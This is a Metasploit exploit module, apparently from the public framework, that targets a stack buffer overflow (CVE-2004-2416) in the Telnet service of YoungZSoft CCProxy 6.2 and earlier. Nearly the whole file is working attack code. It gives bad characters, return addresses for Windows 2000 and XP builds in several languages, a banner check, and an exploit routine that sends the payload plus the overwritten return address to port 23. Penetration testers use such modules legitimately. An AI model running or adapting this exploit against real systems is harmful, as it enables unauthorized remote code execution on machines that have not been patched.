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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'	=> 'CCProxy Telnet Proxy Ping Overflow',
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        'Description'	=> %q{
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          This module exploits the YoungZSoft CCProxy <= v6.2 suite
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          Telnet service. The stack is overwritten when sending an overly
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          long address to the 'ping' command.
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        },
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        'Author' => [ 'aushack' ],
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        'Arch'	=> [ ARCH_X86 ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2004-2416' ],
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          [ 'OSVDB', '11593' ],
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          [ 'BID', '11666' ],
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          [ 'EDB', '621' ],
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        ],
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        'Privileged'	=> false,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space'	=> 1012,
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          'BadChars' => "\x00\x07\x08\x0a\x0d\x20",
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        },
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        'Platform' => ['win'],
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        'Targets' => [
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          # Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
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          [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
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          [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
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          [ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
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          [ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
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          [ 'Windows XP SP2 - English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
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        ],
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        'DisclosureDate' => '2004-11-11',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(23),
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      ]
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    )
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  end
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  def check
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    connect
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    banner = sock.get_once || ''
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    disconnect
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    if banner.to_s =~ /CCProxy Telnet Service Ready/
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
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    sock.put(sploit + "\r\n")
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    handler
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    disconnect
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  end
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end
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